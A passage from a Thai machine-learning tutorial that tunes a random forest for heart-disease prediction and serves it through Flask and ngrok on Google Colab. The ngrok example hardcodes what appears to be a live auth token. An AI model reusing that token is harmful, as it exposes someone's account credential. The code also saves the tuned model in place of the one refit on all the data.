    &apos;min_samples_leaf&apos;: [1, 2, 4]
}

grid_search = GridSearchCV(estimator=RandomForestClassifier(random_state=2), 
                           param_grid=param_grid, 
                           cv=5, 
                           n_jobs=-1, 
                           verbose=2)

grid_search.fit(X_train, y_train)</code></pre><p>&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE0A;&#xE38;&#xE14; Parameter &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE35;&#xE48; GridSearchCV &#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE48;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE43;&#xE19; Parameter param_grid &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49; &#xE04;&#xE37;&#xE2D; 81 &#xE0A;&#xE38;&#xE14; Parameter</p><p>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; 5 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE40;&#xE17;&#xE48;&#xE32; &#xE46; &#xE01;&#xE31;&#xE19; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; 4 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; &#xE41;&#xE25;&#xE30; 1 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; X_train &#xE21;&#xE35;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 237 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; 5-fold Cross-validation &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE41;&#xE1A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; 5 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE40;&#xE17;&#xE48;&#xE32; &#xE46; &#xE01;&#xE31;&#xE19; (&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE01;&#xE25;&#xE49;&#xE40;&#xE04;&#xE35;&#xE22;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;)<br>Fold 1 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; 1-47<br>Fold 2 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; 48-94<br>Fold 3 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; 95-141<br>Fold 4 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; 142-188<br>Fold 5 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48; 189-237</p><p>&#xE1D;&#xE36;&#xE01;&#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Model 5 &#xE23;&#xE2D;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE2D;&#xE1A; &#xE43;&#xE0A;&#xE49; 4 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; (Training data) &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49; 1 &#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; (Validation data)</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; 5 &#xE23;&#xE2D;&#xE1A;</p><p>&#xE23;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48; 1<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; Fold 2, 3, 4, 5 (190 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Fold 1 (47 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)</p><p>&#xE23;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48; 2<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; Fold 1, 3, 4, 5 (190 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Fold 2 (47 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)</p><p>&#xE23;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48; 3<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; Fold 1, 2, 4, 5 (190 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Fold 3 (47 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)</p><p>&#xE23;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48; 4<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; Fold 1, 2, 3, 5 (190 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Fold 4 (47 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)</p><p>&#xE23;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48; 5<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19; Fold 1, 2, 3, 4 (189 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)<br>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Fold 5 (48 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;)</p><p>&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE2D;&#xE1A;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE04;&#xE48;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Model (&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE21;&#xE48;&#xE19;&#xE22;&#xE33;) &#xE19;&#xE33;&#xE04;&#xE48;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE21;&#xE48;&#xE19;&#xE22;&#xE33;&#xE08;&#xE32;&#xE01;&#xE17;&#xE31;&#xE49;&#xE07; 5 &#xE23;&#xE2D;&#xE1A; &#xE21;&#xE32;&#xE40;&#xE09;&#xE25;&#xE35;&#xE48;&#xE22;&#xE01;&#xE31;&#xE19; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49;&#xE04;&#xE48;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE42;&#xE14;&#xE22;&#xE23;&#xE27;&#xE21;&#xE02;&#xE2D;&#xE07; Model</p><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE35;&#xE48; Model &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE08;&#xE30;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 81 (&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE0A;&#xE38;&#xE14; Parameter) * 5 (&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Fold) = 405</p><pre><code>print(&quot;Best parameters:&quot;, grid_search.best_params_)
print(&quot;Best cross-validation score:&quot;, grid_search.best_score_)</code></pre><p>Best parameters: {&apos;max_depth&apos;: 10, &apos;min_samples_leaf&apos;: 2, &apos;min_samples_split&apos;: 10, &apos;n_estimators&apos;: 300}<br>Best cross-validation score: 0.8224290780141844</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Tree &#xE43;&#xE2B;&#xE21;&#xE48;&#xE08;&#xE32;&#xE01; X_train &#xE41;&#xE25;&#xE30; y_train &#xE02;&#xE19;&#xE32;&#xE14; 237 &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE38;&#xE14; Parameter &#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; (0.8224290780141844)</p><pre><code># &#xE43;&#xE0A;&#xE49; Model &#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01; GridSearchCV
best_rf_classifier = grid_search.best_estimator_
y_pred_best = best_rf_classifier.predict(X_test)

print(&quot;\nBest Model Accuracy:&quot;, accuracy_score(y_test, y_pred_best))
print(&quot;\nBest Model Classification Report:\n&quot;, classification_report(y_test, y_pred_best))</code></pre><p>Best Model Accuracy: 0.8333333333333334</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-6.00.16-AM.png" class="kg-image" alt loading="lazy" width="1476" height="354" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-09-at-6.00.16-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-09-at-6.00.16-AM.png 1000w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-6.00.16-AM.png 1476w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49; Parameter &#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Model &#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE17;&#xE31;&#xE49;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Train &#xE41;&#xE25;&#xE30; Test (<strong>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35; Dataset &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;</strong>) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Train &#xE41;&#xE25;&#xE30; Test &#xE21;&#xE35;&#xE44;&#xE27;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><pre><code># &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Model &#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;
final_rf_classifier = RandomForestClassifier(**grid_search.best_params_, random_state=2)
final_rf_classifier.fit(X, y)  # &#xE43;&#xE0A;&#xE49; X &#xE41;&#xE25;&#xE30; y &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE44;&#xE21;&#xE48;&#xE41;&#xE1A;&#xE48;&#xE07; Train/Test</code></pre><p>&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01; Model &#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Download &#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; &apos;best_rf_model.joblib&apos;</p><pre><code>import joblib

joblib.dump(best_rf_classifier, &apos;best_rf_model.joblib&apos;)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-7.06.52-AM.png" class="kg-image" alt loading="lazy" width="666" height="570" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-09-at-7.06.52-AM.png 600w, https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-7.06.52-AM.png 666w"></figure><p><strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API &#xE14;&#xE49;&#xE27;&#xE22; Flask web framework</strong></p><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Flask</p><pre><code>pip install flask</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; Python &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; API (app.py)</p><pre><code>from flask import Flask, request, jsonify
import pandas as pd
import joblib

app = Flask(__name__)

# &#xE42;&#xE2B;&#xE25;&#xE14; Model &#xE17;&#xE35;&#xE48;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;
model = joblib.load(&apos;best_rf_model.joblib&apos;)

@app.route(&apos;/predict&apos;, methods=[&apos;POST&apos;])
def predict():
    # &#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; request
    data = request.json
    
    # &#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; DataFrame
    df = pd.DataFrame(data, index=[0])
    
    # &#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
    prediction = model.predict(df)
    
    # &#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE01;&#xE25;&#xE31;&#xE1A;
    return jsonify({&apos;prediction&apos;: int(prediction[0])})

if __name__ == &apos;__main__&apos;:
    app.run(debug=True)</code></pre><p>&#xE23;&#xE31;&#xE19; API</p><pre><code>python app.py</code></pre><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API</p><pre><code>curl -X POST -H &quot;Content-Type: application/json&quot; -d &apos;{&quot;age&quot;: 63, &quot;sex&quot;: 1, &quot;cp&quot;: 3, &quot;trestbps&quot;: 145, &quot;chol&quot;: 233, &quot;fbs&quot;: 1, &quot;restecg&quot;: 0, &quot;thalach&quot;: 150, &quot;exang&quot;: 0, &quot;oldpeak&quot;: 2.3, &quot;slope&quot;: 0, &quot;ca&quot;: 0, &quot;thal&quot;: 1}&apos; http://localhost:5000/predict</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33; API &#xE44;&#xE1B;&#xE23;&#xE31;&#xE19;&#xE1A;&#xE19; <strong>Google Colab</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; ngrok &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Notebook &#xE43;&#xE2B;&#xE21;&#xE48;&#xE1A;&#xE19; Google Colab &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Libary &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;</p><pre><code>!pip install flask numpy pandas scikit-learn joblib pyngrok</code></pre><p>Upload &#xE44;&#xE1F;&#xE25;&#xE4C; &apos;best_rf_model.joblib&apos; &#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <a href="https://dashboard.ngrok.com/get-started/your-authtoken?ref=blog.pjjop.org">https://dashboard.ngrok.com/get-started/your-authtoken</a> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; ngrok &#xE41;&#xE25;&#xE30;&#xE02;&#xE2D; Token</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Flask app</p><pre><code>from flask import Flask, request, jsonify
import pandas as pd
import joblib
import numpy as np
from pyngrok import ngrok

app = Flask(__name__)

# &#xE42;&#xE2B;&#xE25;&#xE14; Model &#xE17;&#xE35;&#xE48;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;
model = joblib.load(&apos;best_rf_model.joblib&apos;)

@app.route(&apos;/predict&apos;, methods=[&apos;POST&apos;])
def predict():
    # &#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; request
    data = request.json
    
    # &#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19; DataFrame
    df = pd.DataFrame(data, index=[0])
    
    # &#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
    prediction = model.predict(df)
    
    # &#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE01;&#xE25;&#xE31;&#xE1A;
    return jsonify({&apos;prediction&apos;: int(prediction[0])})

# &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; authtoken &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; ngrok (&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE14;&#xE49;&#xE27;&#xE22; authtoken &#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;)
ngrok.set_auth_token(&apos;775loMThQLej5NR4v0ejH9y25WQD9_3LrV9NMeVFRn5Hvimy3gB&apos;)

# &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19; Flask app &#xE41;&#xE25;&#xE30; ngrok
if __name__ == &apos;__main__&apos;:
    # &#xE40;&#xE23;&#xE34;&#xE48;&#xE21; ngrok
    public_url = ngrok.connect(5000)
    print(f&apos;Public URL: {public_url}&apos;)
    
    # &#xE40;&#xE23;&#xE34;&#xE48;&#xE21; Flask app
    app.run(host=&apos;0.0.0.0&apos;, port=5000)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2024-09-09-at-7.43.55-AM.png" class="kg-image" alt loading="lazy" width="2000" height="246" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2024-09-09-at-7.43.55-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2024-09-09-at-7.43.55-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/Screenshot-2024-09-09-at-7.43.55-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/Screenshot-2024-09-09-at-7.43.55-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Notebook &#xE43;&#xE2B;&#xE21;&#xE48;&#xE1A;&#xE19; Google Colab &#xE2D;&#xE35;&#xE01; Notebook &#xE41;&#xE25;&#xE49;&#xE27;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API</p><pre><code>import requests

# URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; ngrok
url = &apos;https://7abd-34-31-114-17.ngrok-free.app/predict&apos;  # &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE14;&#xE49;&#xE27;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;

# &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
data = {
    &quot;age&quot;: 63, 
    &quot;sex&quot;: 1, 
    &quot;cp&quot;: 3, 
    &quot;trestbps&quot;: 145, 
    &quot;chol&quot;: 233, 
    &quot;fbs&quot;: 1, 
    &quot;restecg&quot;: 0, 
    &quot;thalach&quot;: 150, 
    &quot;exang&quot;: 0, 
    &quot;oldpeak&quot;: 2.3, 
    &quot;slope&quot;: 0, 
    &quot;ca&quot;: 0, 
    &quot;thal&quot;: 1
}

# &#xE2A;&#xE48;&#xE07; POST request
response = requests.post(url, json=data)

# &#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
print(response.json())</code></pre><p>{&apos;prediction&apos;: 0}</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49; Random Forest &#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1E;&#xE17;&#xE22;&#xE4C;</strong></p><ol><li><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE23;&#xE04;</strong> &#xE40;&#xE0A;&#xE48;&#xE19;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE23;&#xE04;&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE19;&#xE34;&#xE08;&#xE09;&#xE31;&#xE22;&#xE42;&#xE23;&#xE04;</strong> &#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE32;&#xE07;&#xE04;&#xE25;&#xE34;&#xE19;&#xE34;&#xE01;&#xE41;&#xE25;&#xE30;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE19;&#xE34;&#xE08;&#xE09;&#xE31;&#xE22;&#xE42;&#xE23;&#xE04;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE42;&#xE23;&#xE04;</strong> 